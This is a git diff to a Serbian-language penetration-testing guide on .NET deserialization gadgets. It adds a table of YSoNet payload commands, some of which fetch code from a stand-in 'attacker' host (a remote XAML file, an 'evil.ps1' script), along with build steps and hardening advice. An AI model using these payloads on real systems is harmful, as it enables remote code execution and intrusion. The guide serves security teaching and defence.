diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index afe486810..5ac4537dc 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -22,7 +22,7 @@ Kao što možete primetiti, kada je `MethodName` postavljen, poziva se `base.Ref ![](<../../images/image (319).png>) -U redu, hajde da nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je prepisan od strane `ObjectDataProvider` i ovo je ono što radi: +U redu, hajde da nastavimo i vidimo šta radi `this.BeginQuery()`. `BeginQuery` je prepisan od strane `ObjectDataProvider` i ovo je ono što radi: ![](<../../images/image (345).png>) @@ -32,7 +32,7 @@ Napomena: na kraju koda poziva se `this.QueryWorke(null)`. Hajde da vidimo šta Napomena: ovo nije kompletan kod funkcije `QueryWorker`, ali pokazuje zanimljiv deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** ovo je linija gde se **metoda postavlja**. -Ako želite da proverite da samo postavljanje _**MethodName**_ **će biti izvršeno**, možete pokrenuti ovaj kod: +Ako želite da proverite da samo postavljanje _**MethodName**_** će biti izvršeno**, možete pokrenuti ovaj kod: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,10 +56,10 @@ Napomena da je potrebno dodati kao referencu _C:\Windows\Microsoft.NET\Framework ## ExpandedWrapper -Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vulnu, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **znanje o tipu objekta koji je obavijen** u instanci _ObjectDataProvider_ (`Process`, na primer). Možete pronaći više [informacija o DotNetNuke vulnu ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** _**ObjectDataProvider**_ instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **nikakvo znanje o tipu objekta koji je obavijen** u _ObjectDataProvider_ instanci (`Process` na primer). Možete pronaći više [informacija o DotNetNuke vuln ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Ova klasa omogućava **da se odrede tipovi objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ -Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar instancu **_**ExpandedWrapper** \_ i **kada se deserijalizuje** ova klasa će **kreirati** objekat _**OjectDataProvider**_ koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_. +Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar **_**ExpandedWrapper** \_ instance i **kada se deserijalizuje** ova klasa će **kreirati** _**OjectDataProvider**_ objekat koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_. Možete proveriti ovaj wrapper sa sledećim kodom: ```java @@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` +## Napredni .NET Gadget Lanci (YSoNet & ysoserial.net) + +Tehnika ObjectDataProvider + ExpandedWrapper koja je predstavljena iznad je samo jedan od MNOŠTVO gadget lanaca koji se mogu zloupotrebiti kada aplikacija izvršava **nesigurnu .NET deserializaciju**. Moderni alati za crvene timove kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spreman za upotrebu malicioznih objekata** za desetine gadgeta i formata serijalizacije. + +Ispod je sažeta referenca najkorisnijih lanaca koji dolaze sa *YSoNet* zajedno sa brzim objašnjenjem kako funkcionišu i primerima komandi za generisanje payload-a. + +| Gadget Lanac | Ključna Ideja / Primitiv | Uobičajeni Serijalizatori | YSoNet jednosmerna komanda | +|--------------|--------------------------|--------------------------|----------------------------| +| **TypeConfuseDelegate** | Kvari `DelegateSerializationHolder` zapis tako da, kada se materijalizuje, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *obiđe .NET ≥4.8 filtriranje tipova* i direktno pozove **konstruktor** obezbeđene klase ili **kompajlira** C# datoteku u hodu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Iskorišćava **legacy XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem `` / `` polja (opciono lažirajući skup sa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Na WPF omogućenom runtime-u (> .NET 5) povezuje property gettere dok ne dođe do `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL obezbeđen sa `-c` | `Json.NET` bez tipa, `MessagePack` bez tipa | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (pregled) | Koristi WPF `System.Windows.Data.ObjectDataProvider` da pozove proizvoljnu statičku metodu sa kontrolisanim argumentima. YSoNet dodaje zgodnu varijantu `--xamlurl` za hostovanje malicioznog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Ugrađuje `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserializuje objekat | PowerShell daljinsko upravljanje, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | + +> [!TIP] +> Svi payload-i su **podrazumevano napisani u *stdout***, što olakšava preusmeravanje u druge alate (npr. ViewState generatori, base64 enkoderi, HTTP klijenti). + +### Izgradnja / Instalacija YSoNet + +Ako nema dostupnih prethodno kompajliranih binarnih datoteka pod *Actions ➜ Artifacts* / *Releases*, sledeća **PowerShell** jednosmerna komanda će postaviti okruženje za izgradnju, klonirati repozitorijum i kompajlirati sve u *Release* modu: +```powershell +Set-ExecutionPolicy Bypass -Scope Process -Force; +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; +iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); +choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; + +git clone https://github.com/irsdl/ysonet +cd ysonet +nuget restore ysonet.sln +msbuild ysonet.sln -p:Configuration=Release +``` +Kompilirani `ysonet.exe` se može naći pod `ysonet/bin/Release/`. + +### Detekcija i Ojačavanje +* **Detektujte** neočekivane podprocese `w3wp.exe`, `PowerShell.exe`, ili bilo koji proces koji deserializuje podatke koje je korisnik dostavio (npr. `MessagePack`, `Json.NET`). +* Omogućite i **sprovodite filtriranje tipova** (`TypeFilterLevel` = *Full*, prilagođeni `SurrogateSelector`, `SerializationBinder`, *itd.*) kada god se legendarni `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti. +* Gde je moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konvertorima zasnovanim na belim listama. +* Blokirajte opasne WPF biblioteke (`PresentationFramework`, `System.Workflow.*`) da se učitavaju u web procesima koji ih nikada ne bi trebali koristiti. + +## Reference +- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) +- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) +- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) + {{#include ../../banners/hacktricks-training.md}}